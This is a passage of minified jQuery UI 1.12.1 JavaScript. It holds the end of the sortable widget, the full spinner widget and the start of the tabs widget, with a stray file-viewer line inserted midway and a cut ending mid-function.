i,s,n,o,a=this.options,r=!1;for(this.position=this._generatePosition(e),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-e.pageY<a.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+a.scrollSpeed:e.pageY-this.overflowOffset.top<a.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-a.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-e.pageX<a.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+a.scrollSpeed:e.pageX-this.overflowOffset.left<a.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-a.scrollSpeed)):(e.pageY-this.document.scrollTop()<a.scrollSensitivity?r=this.document.scrollTop(this.document.scrollTop()-a.scrollSpeed):this.window.height()-(e.pageY-this.document.scrollTop())<a.scrollSensitivity&&(r=this.document.scrollTop(this.document.scrollTop()+a.scrollSpeed)),e.pageX-this.document.scrollLeft()<a.scrollSensitivity?r=this.document.scrollLeft(this.document.scrollLeft()-a.scrollSpeed):this.window.width()-(e.pageX-this.document.scrollLeft())<a.scrollSensitivity&&(r=this.document.scrollLeft(this.document.scrollLeft()+a.scrollSpeed))),r!==!1&&t.ui.ddmanager&&!a.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],o=this._intersectsWithPointer(s),o&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===o?"next":"prev"]()[0]!==n&&!t.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!t.contains(this.element[0],n):!0)){if(this.direction=1===o?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(e,s),this._trigger("change",e,this._uiHash());break}return this._contactContainers(e),t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),this._trigger("sort",e,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(e,i){if(e){if(t.ui.ddmanager&&!this.options.dropBehaviour&&t.ui.ddmanager.drop(this,e),this.options.revert){var s=this,n=this.placeholder.offset(),o=this.options.axis,a={};o&&"x"!==o||(a.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),o&&"y"!==o||(a.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,t(this.helper).animate(a,parseInt(this.options.revert,10)||500,function(){s._clear(e)})}else this._clear(e,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp(new t.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var e=this.containers.length-1;e>=0;e--)this.containers[e]._trigger("deactivate",null,this._uiHash(this)),this.containers[e].containerCache.over&&(this.containers[e]._trigger("out",null,this._uiHash(this)),this.containers[e].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),t.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?t(this.domPosition.prev).after(this.currentItem):t(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},t(i).each(function(){var i=(t(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);i&&s.push((e.key||i[1]+"[]")+"="+(e.key&&e.expression?i[1]:i[2]))}),!s.length&&e.key&&s.push(e.key+"="),s.join("&")},toArray:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},i.each(function(){s.push(t(e.item||this).attr(e.attribute||"id")||"")}),s},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,o=t.left,a=o+t.width,r=t.top,h=r+t.height,l=this.offset.click.top,c=this.offset.click.left,u="x"===this.options.axis||s+l>r&&h>s+l,d="y"===this.options.axis||e+c>o&&a>e+c,p=u&&d;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?p:e+this.helperProportions.width/2>o&&a>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(t){var e,i,s="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top,t.height),n="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left,t.width),o=s&&n;return o?(e=this._getDragVerticalDirection(),i=this._getDragHorizontalDirection(),this.floating?"right"===i||"down"===e?2:1:e&&("down"===e?2:1)):!1},_intersectsWithSides:function(t){var e=this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),s=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return this.floating&&n?"right"===n&&i||"left"===n&&!i:s&&("down"===s&&e||"up"===s&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!==t&&(t>0?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!==t&&(t>0?"right":"left")},refresh:function(t){return this._refreshItems(t),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(e){function i(){r.push(this)}var s,n,o,a,r=[],h=[],l=this._connectWith();if(l&&e)for(s=l.length-1;s>=0;s--)for(o=t(l[s],this.document[0]),n=o.length-1;n>=0;n--)a=t.data(o[n],this.widgetFullName),a&&a!==this&&!a.options.disabled&&h.push([t.isFunction(a.options.items)?a.options.items.call(a.element):t(a.options.items,a.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),a]);for(h.push([t.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):t(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return t(r)},_removeCurrentsFromItems:function(){var e=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=t.grep(this.items,function(t){for(var i=0;e.length>i;i++)if(e[i]===t.item[0])return!1;return!0})},_refreshItems:function(e){this.items=[],this.containers=[this];var i,s,n,o,a,r,h,l,c=this.items,u=[[t.isFunction(this.options.items)?this.options.items.call(this.element[0],e,{item:this.currentItem}):t(this.options.items,this.element),this]],d=this._connectWith();if(d&&this.ready)for(i=d.length-1;i>=0;i--)for(n=t(d[i],this.document[0]),s=n.length-1;s>=0;s--)o=t.data(n[s],this.widgetFullName),o&&o!==this&&!o.options.disabled&&(u.push([t.isFunction(o.options.items)?o.options.items.call(o.element[0],e,{item:this.currentItem}):t(o.options.items,o.element),o]),this.containers.push(o));for(i=u.length-1;i>=0;i--)for(a=u[i][1],r=u[i][0],s=0,l=r.length;l>s;s++)h=t(r[s]),h.data(this.widgetName+"-item",a),c.push({item:h,instance:a,width:0,height:0,left:0,top:0})},refreshPositions:function(e){this.floating=this.items.length?"x"===this.options.axis||this._isFloating(this.items[0].item):!1,this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,o;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?t(this.options.toleranceElement,s.item):s.item,e||(s.width=n.outerWidth(),s.height=n.outerHeight()),o=n.offset(),s.left=o.left,s.top=o.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)o=this.containers[i].element.offset(),this.containers[i].containerCache.left=o.left,this.containers[i].containerCache.top=o.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(e){e=e||this;var i,s=e.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=e.currentItem[0].nodeName.toLowerCase(),n=t("<"+s+">",e.document[0]);return e._addClass(n,"ui-sortable-placeholder",i||e.currentItem[0].className)._removeClass(n,"ui-sortable-helper"),"tbody"===s?e._createTrPlaceholder(e.currentItem.find("tr").eq(0),t("<tr>",e.document[0]).appendTo(n)):"tr"===s?e._createTrPlaceholder(e.currentItem,n):"img"===s&&n.attr("src",e.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(t,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(e.currentItem.innerHeight()-parseInt(e.currentItem.css("paddingTop")||0,10)-parseInt(e.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(e.currentItem.innerWidth()-parseInt(e.currentItem.css("paddingLeft")||0,10)-parseInt(e.currentItem.css("paddingRight")||0,10)))}}),e.placeholder=t(s.placeholder.element.call(e.element,e.currentItem)),e.currentItem.after(e.placeholder),s.placeholder.update(e,e.placeholder)},_createTrPlaceholder:function(e,i){var s=this;e.children().each(function(){t("<td> </td>",s.document[0]).attr("colspan",t(this).attr("colspan")||1).appendTo(i)})},_contactContainers:function(e){var i,s,n,o,a,r,h,l,c,u,d=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!t.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(d&&t.contains(this.containers[i].element[0],d.element[0]))continue;d=this.containers[i],p=i}else this.containers[i].containerCache.over&&(this.containers[i]._trigger("out",e,this._uiHash(this)),this.containers[i].containerCache.over=0);if(d)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",e,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(n=1e4,o=null,c=d.floating||this._isFloating(this.currentItem),a=c?"left":"top",r=c?"width":"height",u=c?"pageX":"pageY",s=this.items.length-1;s>=0;s--)t.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(h=this.items[s].item.offset()[a],l=!1,e[u]-h>this.items[s][r]/2&&(l=!0),n>Math.abs(e[u]-h)&&(n=Math.abs(e[u]-h),o=this.items[s],this.direction=l?"up":"down"));if(!o&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",e,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;o?this._rearrange(e,o,null,!0):this._rearrange(e,null,this.containers[p].element,!0),this._trigger("change",e,this._uiHash()),this.containers[p]._trigger("change",e,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger("over",e,this._uiHash(this)),this.containers[p].containerCache.over=1}},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper)?t(i.helper.apply(this.element[0],[e,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||t("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var e=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&t.ui.ie)&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var t=this.currentItem.position();return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===n.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===n.containment?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(e=t(n.containment)[0],i=t(n.containment).offset(),s="hidden"!==t(e).css("overflow"),this.containment=[i.left+(parseInt(t(e).css("borderLeftWidth"),10)||0)+(parseInt(t(e).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(t(e).css("borderTopWidth"),10)||0)+(parseInt(t(e).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(e.scrollWidth,e.offsetWidth):e.offsetWidth)-(parseInt(t(e).css("borderLeftWidth"),10)||0)-(parseInt(t(e).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(e.scrollHeight,e.offsetHeight):e.offsetHeight)-(parseInt(t(e).css("borderTopWidth"),10)||0)-(parseInt(t(e).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(e,i){i||(i=this.position);var s="absolute"===e?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,o=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():o?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():o?0:n.scrollLeft())*s}},_generatePosition:function(e){var i,s,n=this.options,o=e.pageX,a=e.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(e.pageX-this.offset.click.left<this.containment[0]&&(o=this.containment[0]+this.offset.click.left),e.pageY-this.offset.click.top<this.containment[1]&&(a=this.containment[1]+this.offset.click.top),e.pageX-this.offset.click.left>this.containment[2]&&(o=this.containment[2]+this.offset.click.left),e.pageY-this.offset.click.top>this.containment[3]&&(a=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((a-this.originalPageY)/n.grid[1])*n.grid[1],a=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((o-this.originalPageX)/n.grid[0])*n.grid[0],o=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:a-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:o-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;
21
vendor: 27,153 bytes, line 21
21this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){function i(t,e,i){return function(s){i._trigger(t,s,e._uiHash(e))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!e&&n.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||n.push(function(t){this._trigger("update",t,this._uiHash())}),this!==this.currentContainer&&(e||(n.push(function(t){this._trigger("remove",t,this._uiHash())}),n.push(function(t){return function(e){t._trigger("receive",e,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(t){return function(e){t._trigger("update",e,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)e||n.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!e){for(s=0;n.length>s;s++)n[s].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){t.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(e){var i=e||this;return{helper:i.helper,placeholder:i.placeholder||t([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:e?e.element:null}}}),t.widget("ui.spinner",{version:"1.12.1",defaultElement:"<input>",widgetEventPrefix:"spin",options:{classes:{"ui-spinner":"ui-corner-all","ui-spinner-down":"ui-corner-br","ui-spinner-up":"ui-corner-tr"},culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var e=this._super(),i=this.element;return t.each(["min","max","step"],function(t,s){var n=i.attr(s);null!=n&&n.length&&(e[s]=n)}),e},_events:{keydown:function(t){this._start(t)&&this._keydown(t)&&t.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(t){return this.cancelBlur?(delete this.cancelBlur,void 0):(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",t),void 0)},mousewheel:function(t,e){if(e){if(!this.spinning&&!this._start(t))return!1;this._spin((e>0?1:-1)*this.options.step,t),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(t)},100),t.preventDefault()}},"mousedown .ui-spinner-button":function(e){function i(){var e=this.element[0]===t.ui.safeActiveElement(this.document[0]);e||(this.element.trigger("focus"),this.previous=s,this._delay(function(){this.previous=s}))}var s;s=this.element[0]===t.ui.safeActiveElement(this.document[0])?this.previous:this.element.val(),e.preventDefault(),i.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,i.call(this)}),this._start(e)!==!1&&this._repeat(null,t(e.currentTarget).hasClass("ui-spinner-up")?1:-1,e)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(e){return t(e.currentTarget).hasClass("ui-state-active")?this._start(e)===!1?!1:(this._repeat(null,t(e.currentTarget).hasClass("ui-spinner-up")?1:-1,e),void 0):void 0},"mouseleave .ui-spinner-button":"_stop"},_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap("<span>").parent().append("<a></a><a></a>")},_draw:function(){this._enhance(),this._addClass(this.uiSpinner,"ui-spinner","ui-widget ui-widget-content"),this._addClass("ui-spinner-input"),this.element.attr("role","spinbutton"),this.buttons=this.uiSpinner.children("a").attr("tabIndex",-1).attr("aria-hidden",!0).button({classes:{"ui-button":""}}),this._removeClass(this.buttons,"ui-corner-all"),this._addClass(this.buttons.first(),"ui-spinner-button ui-spinner-up"),this._addClass(this.buttons.last(),"ui-spinner-button ui-spinner-down"),this.buttons.first().button({icon:this.options.icons.up,showLabel:!1}),this.buttons.last().button({icon:this.options.icons.down,showLabel:!1}),this.buttons.height()>Math.ceil(.5*this.uiSpinner.height())&&this.uiSpinner.height()>0&&this.uiSpinner.height(this.uiSpinner.height())},_keydown:function(e){var i=this.options,s=t.ui.keyCode;switch(e.keyCode){case s.UP:return this._repeat(null,1,e),!0;case s.DOWN:return this._repeat(null,-1,e),!0;case s.PAGE_UP:return this._repeat(null,i.page,e),!0;case s.PAGE_DOWN:return this._repeat(null,-i.page,e),!0}return!1},_start:function(t){return this.spinning||this._trigger("start",t)!==!1?(this.counter||(this.counter=1),this.spinning=!0,!0):!1},_repeat:function(t,e,i){t=t||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,e,i)},t),this._spin(e*this.options.step,i)},_spin:function(t,e){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+t*this._increment(this.counter)),this.spinning&&this._trigger("spin",e,{value:i})===!1||(this._value(i),this.counter++)},_increment:function(e){var i=this.options.incremental;return i?t.isFunction(i)?i(e):Math.floor(e*e*e/5e4-e*e/500+17*e/200+1):1},_precision:function(){var t=this._precisionOf(this.options.step);return null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_adjustValue:function(t){var e,i,s=this.options;return e=null!==s.min?s.min:0,i=t-e,i=Math.round(i/s.step)*s.step,t=e+i,t=parseFloat(t.toFixed(this._precision())),null!==s.max&&t>s.max?s.max:null!==s.min&&s.min>t?s.min:t},_stop:function(t){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",t))},_setOption:function(t,e){var i,s,n;return"culture"===t||"numberFormat"===t?(i=this._parse(this.element.val()),this.options[t]=e,this.element.val(this._format(i)),void 0):(("max"===t||"min"===t||"step"===t)&&"string"==typeof e&&(e=this._parse(e)),"icons"===t&&(s=this.buttons.first().find(".ui-icon"),this._removeClass(s,null,this.options.icons.up),this._addClass(s,null,e.up),n=this.buttons.last().find(".ui-icon"),this._removeClass(n,null,this.options.icons.down),this._addClass(n,null,e.down)),this._super(t,e),void 0)},_setOptionDisabled:function(t){this._super(t),this._toggleClass(this.uiSpinner,null,"ui-state-disabled",!!t),this.element.prop("disabled",!!t),this.buttons.button(t?"disable":"enable")},_setOptions:r(function(t){this._super(t)}),_parse:function(t){return"string"==typeof t&&""!==t&&(t=window.Globalize&&this.options.numberFormat?Globalize.parseFloat(t,10,this.options.culture):+t),""===t||isNaN(t)?null:t},_format:function(t){return""===t?"":window.Globalize&&this.options.numberFormat?Globalize.format(t,this.options.numberFormat,this.options.culture):t},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var t=this.value();return null===t?!1:t===this._adjustValue(t)},_value:function(t,e){var i;""!==t&&(i=this._parse(t),null!==i&&(e||(i=this._adjustValue(i)),t=this._format(i))),this.element.val(t),this._refresh()},_destroy:function(){this.element.prop("disabled",!1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:r(function(t){this._stepUp(t)}),_stepUp:function(t){this._start()&&(this._spin((t||1)*this.options.step),this._stop())},stepDown:r(function(t){this._stepDown(t)}),_stepDown:function(t){this._start()&&(this._spin((t||1)*-this.options.step),this._stop())},pageUp:r(function(t){this._stepUp((t||1)*this.options.page)}),pageDown:r(function(t){this._stepDown((t||1)*this.options.page)}),value:function(t){return arguments.length?(r(this._value).call(this,t),void 0):this._parse(this.element.val())},widget:function(){return this.uiSpinner}}),t.uiBackCompat!==!1&&t.widget("ui.spinner",t.ui.spinner,{_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())},_uiSpinnerHtml:function(){return"<span>"},_buttonHtml:function(){return"<a></a><a></a>"}}),t.ui.spinner,t.widget("ui.tabs",{version:"1.12.1",delay:300,options:{active:null,classes:{"ui-tabs":"ui-corner-all","ui-tabs-nav":"ui-corner-all","ui-tabs-panel":"ui-corner-bottom","ui-tabs-tab":"ui-corner-top"},collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:function(){var t=/#.*$/;return function(e){var i,s;i=e.href.replace(t,""),s=location.href.replace(t,"");try{i=decodeURIComponent(i)}catch(n){}try{s=decodeURIComponent(s)}catch(n){}return e.hash.length>1&&i===s}}(),_create:function(){var e=this,i=this.options;this.running=!1,this._addClass("ui-tabs","ui-widget ui-widget-content"),this._toggleClass("ui-tabs-collapsible",null,i.collapsible),this._processTabs(),i.active=this._initialActive(),t.isArray(i.disabled)&&(i.disabled=t.unique(i.disabled.concat(t.map(this.tabs.filter(".ui-state-disabled"),function(t){return e.tabs.index(t)}))).sort()),this.active=this.options.active!==!1&&this.anchors.length?this._findActive(i.active):t(),this._refresh(),this.active.length&&this.load(i.active)},_initialActive:function(){var e=this.options.active,i=this.options.collapsible,s=location.hash.substring(1);return null===e&&(s&&this.tabs.each(function(i,n){return t(n).attr("aria-controls")===s?(e=i,!1):void 0}),null===e&&(e=this.tabs.index(this.tabs.filter(".ui-tabs-active"))),(null===e||-1===e)&&(e=this.tabs.length?0:!1)),e!==!1&&(e=this.tabs.index(this.tabs.eq(e)),-1===e&&(e=i?!1:0)),!i&&e===!1&&this.anchors.length&&(e=0),e},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):t()}},_tabKeydown:function(e){var i=t(t.ui.safeActiveElement(this.document[0])).closest("li"),s=this.tabs.index(i),n=!0;if(!this._handlePageNav(e)){switch(e.keyCode){case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:s++;break;case t.ui.keyCode.UP:case t.ui.keyCode.LEFT:n=!1,s--;break;case t.ui.keyCode.END:s=this.anchors.length-1;break;case t.ui.keyCode.HOME:s=0;break;case t.ui.keyCode.SPACE:return e.preventDefault(),clearTimeout(this.activating),this._activate(s),void 0;case t.ui.keyCode.ENTER:return e.preventDefault(),clearTimeout(this.activating),this._activate(s===this.options.active?!1:s),void 0;default:return}e.preventDefault(),clearTimeout(this.activating),s=this._focusNextTab(s,n),e.ctrlKey||e.metaKey||(i.attr("aria-selected","false"),this.tabs.eq(s).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",s)},this.delay))}},_panelKeydown:function(e){this._handlePageNav(e)||e.ctrlKey&&e.keyCode===t.ui.keyCode.UP&&(e.preventDefault(),this.active.trigger("focus"))},_handlePageNav:function(e){return e.altKey&&e.keyCode===t.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):e.altKey&&e.keyCode===t.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(e,i){function s(){return e>n&&(e=0),0>e&&(e=n),e}for(var n=this.tabs.length-1;-1!==t.inArray(s(),this.options.disabled);)e=i?e+1:e-1;return e},_focusNextTab:function(t,e){return 